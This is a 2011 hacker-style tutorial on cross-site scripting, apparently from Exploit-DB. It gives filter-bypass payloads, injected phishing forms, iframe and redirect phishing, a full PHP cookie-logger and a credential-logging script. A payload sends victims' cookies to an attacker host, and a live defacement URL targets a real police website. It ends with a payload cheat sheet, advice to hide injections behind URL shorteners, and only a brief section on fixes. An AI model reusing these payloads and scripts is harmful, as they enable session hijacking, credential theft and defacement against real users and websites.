Guide Book on Cross Site Scripting

EDB-ID:

17052

CVE:

N/A




Platform:

Multiple

Date:

2011-03-27


       // Best Viewed in Notepad++ with word wrap enabled :)


                                         A Tribute To My Mother Land 
 
                                                " INDIA "


       **********************************************************
       We should be thankful and remember the bravery of Maharaja
       Prithvi Raj Chauhan, Maharana Pratap, Chandra Shekhar Azad,
       Bhagat Singh, Rajguru, Sukhdev and all those who vanished
       their lives for the sake of freedom and sanctity of the
       land named Hindustan (collectively India, Pakistan &
       Bangladesh).

       We might remember the intrepid spirit who stood an army
       named “Azad Hind Fauj” from prisoners of world war II far
       from India and fought for our freedom, The Great Subhash
       Chandra Bose. Remember His Words of inspiration

       “Tum mujhe khoon do, main tumhe azaadi doonga”

       We might get inspired by their great lifestyles and follow
       their thoughts.
       **********************************************************




                                               Important!... Warning!!!
                                   The author do not take responsibility, if anyone, tries
                                   these hacks against any organization or whatever that makes
                                   him to trespass the security measures and brings him under
                                   the legal prosecution. These hacks are intended for the
                                   improvement of security and for investigations by legal
                                   security agencies. For educational institutions it is
                                   hereby requested that they should prevent their students
                                   from using the tools provided in this paper against the
                                   corporate world. This paper is the proof-of-concept and
                                   must be treated as it is.




	   <|-[___________________________________________________________________________]-|>
       -                                                                                     -
       -                              [ Cross Site scripting  ]                              -
       -                             By Ankit Anand [CrazyAnkit ]                            -
       -                                                                             -
         <|-[___________________________________________________ ________________________]-|>
		  
		  
		  # Written On 26 March 2011
		  # Author : Ankit Anand
		             [ koolankit1993@gmail.com , ankitthehacker.wordpress.com
		  # Written For Indishell.in ; Hackerz5.com ; r00tp0is0n.in
		  # Greetz Fly Out to :  RJ D Indian ,cyb3r_shubham , cyb3rs4m ,l0c4l r00t , LuCky , c00lt04d, reb0rn, 3thic4l n00b , darkw0lf , ne0
            
		     // Reference : Exploit-db , Aoh [Orkut] , Google ;)
		  
            --==+================================================================================+==--
            --==+                     Dedicated To My Loving parents                             +==--
            --==+================================================================================+==--

=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====x
Feel Free To Share This White paper , knowledge is for sharing , But Respect Author's Hardwork . Give Proper Credits !

=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====x

                           <~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
                                  |--( I   ]> Introduction
								 0x01: Introduction
	                             0x02: Finding The xss Vulnerable Websites 
	                             0x03: Executing Xss Commands
	                             0x04: Bypass techniques
	                             0x05: Damages By Xss
				                       \_ 1.) Inject a Phishing script
                                       \_ 2.) Iframe Phishing
                                       \_ 3.) Redirict Phishing
                                       \_ 4.) Cookie stealing
                                       \_ 5.) Defacing
				                              \_ Xss Cheat Sheet
			                     0x06 : Fixing Xss Holes	
                                 0x07:  [The End]
                                           |_| Conclusions 
										
                                           										 
                           <~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
						   
						   
                                           ---------------------
                                            0x01: Introduction :
                                           ---------------------

xss also termed as css , no its not Cascading Style Sheets . xss is an abbreviation for cross site scripting . From The title itself its clear xss is related to scripts to be precise its javascripts . xss is a very common attackt found in web applications . 'XSS' allows the attacker to INSERT malicous code . The attacker can inject his malicious script into a website, and the browser just run's the code or script. XSS flaws comes up every time a website doesn't filter the attackers input.

There are many types of XSS attacks, I will mention 3 of the most used.

The First Attack i wana talk about is 'URL XSS' this means that the XSS wont stay on the page
it will only get executed if you have the malicous code in the URL and submit the url
we will talk more on how to use this in our advantage.

The Second Attack is input fields, Where ever you can insert data, it is very common, to be XSS
vulnerable, for example say we found a site with a search engine, Now in the search box you enter
'hacker' now hit enter, when the page loads, if it says your data like 'Found 100 Results For hacker'
ok now you see its displaying out data on the page, now what if we can exexute code? there is no possible
way to execute PHP code in this Attack, but certainly is for HTML, Javascript, but be aware this method,
Also wont stay on the server, this is for your eyes only.

The Third Attack, with this attack you will be able to INSERT data (code) and it will stay on the website.
now there are 2 kinds, it depends if we can execute PHP or HTML if we can inject PHP then we can also 
inject HTML but NOT vice versa, Ok this kinda attack is normally found on Blogs, Shoutboxes, Profiles
Forums, just most places where you insert data and it stays there. now HTML is totally diffrent then PHP
HTML downloads to your pc and then your 'Browser' parses/interprets the code, (thats why its source is viewable)
With PHP the code is interpretued on the server the script is hosted on, then the data is returned to the browser.
for PHP injection its rare, But it dont harm to try. Note: PHP code cant be injected into HTML page !!!



                                       ------------------------------------------
                                       x02: Finding The xss Vulnerable Websites :
                                       ------------------------------------------
This Wont be  a tedious task if you have a good eye !
It is not really a big issue UNLESS it was permanent! Most Of the websites you come up with are vulnerable , the thing you need to have is just good knowledge about how to bypass the filteration . well , there are many techniques like 
 magic_quotes_gpc=ON bypass
 HEX encoding
 Obfuscation
 Trying around
i will discuess them later !!

To Kick off start finding xss vulnerables you can check blogs,forums,comment boxes , shout boxes and anykinda input boxes !! . Dont Worry google will help us finding the websites . Using goole dork inurl:"search.php?q=" , we can get a list of common websites you can now try them !! 
                                            -------------------------------
                                            0x03 : Executing Xss Commands
											------------------------------
											
Injecting Xss script is a easy task as said above just you have to look for an input box !!

Let's say this is how a simple, unsecured search function looks like:

a vulnerable code would be:


<*?php

$message = $_POST['message'];

if (isset($_POST['message']))
{

echo "Thank you, your message has been posted!";

echo "
";

echo $message;
}

echo "
<*form method='post' name='message_box'>
<*input type='text' name='message'>
<*input type='submit' name='submit'>
<*/form>";

?>



ok, so now a malicious user could do the following:

submit the following text to test for vulnerability :


<*script>alert("xss")<*/script>



or


<*h1>Nice Website!<*/h1>



IF the HTML gets parsed "and it will in this code" , the attacker will now move to the next step, which is logging the page.. by redirecting it to a logger..

some methods of bypassing some filters, for example, if the form only submits links, lets take this one as an example:




<*?php

$message = $_POST['message'];

if (isset($_POST['message']))
{

echo "Thank you, your link has been added!";

echo "<*br />";

echo "<*a href='$message'>Link<*/a>";;
}

echo "
<*form method='post' name='message_box'>
<*input type='text' name='message'>
<*input type='submit' name='submit'>
<*/form>";

?>										

now that should not parse anything, but simply wrap it in a link right?

well, i don't think so, you can simply bypass it using:



'> <*script>alert("owned")<*/script>



why does that bypass it?!

here is what happens, the


'>

will stop the a tag, and then you can open anything else...

here is the result:


<*a href=''> <*script>alert("owned")<*/script>'>Link<*/a>



as you can see, the a tag got closed, which allowed me to open another tag, which is a script here. and it works :)


                              ---------------------------------------------
                                     0x04 : Bypass techniques
                              ---------------------------------------------
							  
As Said in section 0x02 , Here i am going to discuss about bypass techniques :)


There are a lot of ways to bypass XSS filters on websites, I'll number some:

 \_ 1.) magic_quotes_gpc=ON bypass
 \_ 2.) HEX encoding
 \_ 3.) Obfuscation
 \_ 4.) Trying around

 1.) magic_quotes_gpc=ON is a php setting (php.ini).
     It causes that every ' (single-quote), " (double quote) and  \ (backslash)
     are escaped with a backslash automatically. It's also a well known method
     to avoid XSS flaws, although it's exploitable.
 
 How to bypass it when it's ON? - use the javascript function called
 String.fromCharCode(), just convert your text in decimal characters
 (e.g. here: http://www.asciizeichen.de/tabelle.html) and put them in the handling.

 Using "ankit" (without quote sign) will look like this:
 
  String.fromCharCode(97, 110, 107, 105,116)
 
 now insert this in your alert script:

  www.site.ru/google.php?search=<script>alert(String.fromCharCode(97, 110, 107, 105,116));</script>

  2.) HEX encoding is a useful bypass method, too. Using this step will encode
      your script, so you can't see clearly on the first look what the code will cause.
      This is how

  <script>alert(/turtles/);</script>

 looks like encrypted in HEX:

  www.site.ru/google.php?search=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%74%75%72%74%6C%65%73%2F%29%3B%3C%2F%73%63%72%69%70%74%3E

 3.) Obfuscation - sometimes website administrator simply put words like
     "script","alert()","''" on the "badwords list", that means, when you
     search for "script" on the website, it just shows you an error, like
     "you are not allowed to search for this word" or something.
     but this is a weak protection, you can bypass it using obfuscation.
     your javascript code like:
   <sCrIpT>alert('turtles');</ScRiPt>

     There are like unlimited possibilities, but that leads us to the
     next chapter...

 4.) Trying around: sometimes you just got to try around, because every website
     is secured/unsecured in a different, unique way. Some doesn't even use
     cookies for example. Alway's keep a look at the website's source code!
     Sometimes you need to adjust your XSS script, like:

  "><script>alert(/ankit/);</script>

 This you need sometimes if you injected your code into a searchbox e.g. and
 interrupt a html tag, so you first need to close him, then start a new
 tag (<script>...).

 Anyway, there are lot's of different methods how to bypass XSS filtration,
 try around !

                                         --------------------
                                         0x05: Damages By Xss
                                         --------------------
 
 
 Till Yet I have elaborated on xss and its basics . i showed you to how to spawn a javascript alert message on a website. Now lets concentrate on what havoc can xss bring if the site is vulnerable To Xss. If You are still thinking xss is useless and just to show off think agian .:) .. Let me remeber you Twitter , Facebook , orut , NDTV , BSNL Are heavily Affected by the xss And its sub methods . Here are some attack techniques you can do with a XSS flaw:
 
 1.) Inject a Phishing script
 2.) Iframe Phishing
 3.) Redirict Phishing
 4.) Cookie stealing
 5.) Defacing
 
 
 
        ---------------------------
 \_ 1.) Injecting A phishing page :
        ---------------------------
		
		Assuming you are aware of what the heck is Phishing [ no , its not fishing :P , but kinda related to it ]
        Phishing script inject: Just inject a 'user' and 'password' field in html
       (With the <html> and <body> tags), that the victim may think he need's to login to the target site.

       Here an example:

  www.site.com/google.php?search=<html><body><head><meta content="text/html; charset=utf-8"></meta></head>
  <div style="text-align: center;"><form Method="POST" Action="http://www.phishingsite.com/phishingscript.php">
  Phishingpage :<br /><br/>Username :<br /> <input name="User" /><br />Password :<br /> 
  <input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok !" type="submit" />
  <br /></form></div></body></html>
  
  You Can Carry Your Operation On this
  
  
  |======================|   
  | http://www.gamez.pk/ | 
  |======================|
  

content of phishingscript.php

<?php
$login = $_POST['user'];
$password = $_POST['Password'];
$open = fopen('log.txt', 'a+');
fputs($open, 'Username : ' . $login . '<br >' . '
Password : ' . $password . '<br >' . '<br >');
?>



       ---------------
\_ 2.) Iframe Phishing
       ---------------
     Iframe Phishing: Simple thing, just inject a javascript code containing an iframe where your phishing site is embeeded. Obviously it needs to look just like the target site.

    Here an example:

    www.site.com/google.php?search=<iframe src="http://www.yourphishingsite.com" height="100%" width="100%"></iframe>

 (Note: height="100%" width="100%" means that the whole window is filled with
 that iframe.)
 The target site will spawn your phishing site in an Iframe, and the website user / victims won't see a
 difference and log in (If they're are foolish enough).
 
 
 
        --------------------
 \_ 3.) Rediriction Phishing: 
        --------------------
     Also simple, just inject a javascript rediriction script that leads to your phishingsite, of course it needs to look just like the target site.

 Here an example:

  www.site.ru/google.php?search=<script>document.location.href="http://www.yourphishingsite.ru"</script>

 or

  www.site.ru/google.php?search=<META HTTP-EQUIV="refresh" CONTENT="0; URL="http://www.yorphishingsite.ru">
  
  
  
  \_ 4.) ----------------
         Cookie Stealing
		 ----------------
		 
		 I decided To add this part , as i have seen lot of papers , ebboks ,artciles not covering this part and if hey do add , its not clear to the readers so its here :)
		 
		 Its the most usefull and vital part in xss . You Just have to Put your cookie logger script on your webspace and insert javascript into xss vulnerable with the cookielogger script address :) Rest The Script Will Do , You Will Get the cookies to eat with tea/coffee :P .. 
		 
		 
		 
		 <*?php

function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}

logData();

?>


     Above is the cookie logger script . Make a tlog.txt and put  both of them on your webspace and set "chmod 777".
	 Inject the following code in your target website:
	 
	   http://www.site.com/google.php?search=<script>location.href = 'http://phishingsite.com/cookiestealer.php?cookie='+document.cookie;</script>
	   
	   // obviously you have to rename the name of script :) .. use a name that seems less suspecious :O
	   
	   Now As soon as the user visits the page victim's cookie will be trapped in your log file . Once You Got the cookies you can hijack there session :)
	   
	   // You Can use Firefox Addons , Maybe Available for chrome too :)
	   
	   
    
	       --------
	\_ 5.) Defacing
	       --------
	    
	 Well now you understand how XSS works, we can explain some simple XSS deface methods, there
     are many ways for defacing i will mention some of the best and most used,

     the first one being IMG SCR, now for those of you who dont know html, IMG SCR is a tag, that
     displays the IMAGE linked to it on the webpage.

      <b>xSsed by Ankit</b><head><body><IMG SRC="site.com/jpg" width= 700 height= 700></body></head> 
	  
	  Example :: 
	  
	  http://www.lapdonline.org/search_results/search/&view_all=1&chg_filter=1&searchType=content_basic&search_terms=%3Cb%3ExSsed%20by%20CrazyAnkit%3C/b%3E%3Chead%3E%3Cbody%3E%3CIMG%20SRC=%22http://ploader.net/files/87be7175082785f6e890497951c61ebc.jpg%22%20width=%20700%20height=%20700%3E%3C/body%3E%3C/head%3E
	  
	  



the other tags are not needed has the page will already have them. (rare cases they will not)

Ok it helps to make your picture big so it stands out and its clear the site got hacked.

Another method is using FLASH videos, its the same has the method below but a more stylish deface.

<EMBED SRC="http://site.com/xss.swf"

that will execute the flash video linked to it.

Or maybe using a pop or redirection?

<SCRIPT>alert("Ankit Z here")</SCRIPT> // pop up

<script>window.open( "http://www.google.com/" )</script> // redirecion

There Are Tons of others too  I Will Add Them in Next Section "" Xss : Cheat sheet "" . The Deapth is too much that i would have to write an another paper for cheat sheet

                        <~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
                                   Cheat Sheets
                       <~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
					   
Here is the XSS cheat sheet, where I got most of them from http://ha.ckers.org/xss.html.
Enjoy. !!

'';!--"<XSS>=&{()}

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

<IMG SRC="javascript:alert('XSS');">

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=javascript:alert("XSS")>

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=javascript:alert('XSS')>

<IMG SRC="jav    ascript:alert('XSS');">

<IMG SRC="jav	ascript:alert('XSS');">

<IMG SRC="jav
ascript:alert('XSS');">

#############################################################
#                                                           #
# PROTIP FOR EVERY XSS INJECTION:                           #
# use url shortener services such as tinyurl.com or bit.ly  #
# to 'hide' your injection, so the victim won't know what's #
# behind that url.                                          #
#                                                           #
#############################################################



                                     ==xx==xx==xx==xx==xx==
									 
									 
									 
									 
									        ----------------
									 0x06 : Fixing Xss Holes
									        ----------------
											
											
		This Section  is written for developers ,i mean web developers ;) . i will introduce with facts how can you secure your code
		well , i found this section to be most mind bending still i have written the best i can .. [i am not good in explain things !!]
		
		please go to this URL for more info about this
		
		####################################################################################
		http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
		####################################################################################
		
		
		well, leaving useless talks lets talk about xss prevention :)
		
If you found XSS bugs in your scripts, its easy to secure, take a look at the below code

if(isset($_POST['form'])){echo "<html><body>" .$_POST['form']. "</body></html>";}

Ok say the variable $_POST['from'] was coming from a input box, then you have a XSS attack.
the following is a very easy way to secure that.

$charset='UTF-8'; $data  =  htmlentities ($_POST['form'], ENT_NOQUOTES, $charset);
if(isset($data)){echo "<html><body>" .$data. "</body></html>";}

now that will take all possible code and make it not executable. by turning it into stuff like
< ect...

You will not notice a diffrence when using htmlentries();

there are also another common function, striptags(), find more info at php.net/striptags

ok another way to show you how to secure INTEGER variables. (variables that will always contain a INT)

$this = $_GET['id'];
echo "you are viewing " . $this . "blog";

now if we include ?id=<script>alert("XSS")</script>
into the url its gona execute our code, a very easy way to secure this is using (int) check the following code

$this = (int)$_GET['id'];
echo "you are viewing " . $this . "blog";

now if at anytime the varible contains anything but a Integer, it will return 0.

Thats enough said. huh !! 

                                              --------------------------------------
                                        0x07: XSS The Complete Walkthrough [The End] 
										      --------------------------------------
                                         |_| Conclusions 
										 
										 Well i have talked about xss !!i hope you have enjoyed my paper a lot while reading like i enjoyed [ believe me i am lying lol !! :D]

										 If you got any questions mail me @ koolankit1993@gmail.com
										 
										 I still have not included many topics in my paper like clicjacking with xss and vbSEO – From XSS to Reverse PHP Shell :P and few more :)
										  i will write a seprate paper on xss prevention later on :)
										 
										 This is a very cute attack , enjoy it at its best !!
										 
										 
										 
										 
										 
								     	*************	 
									      	 EoF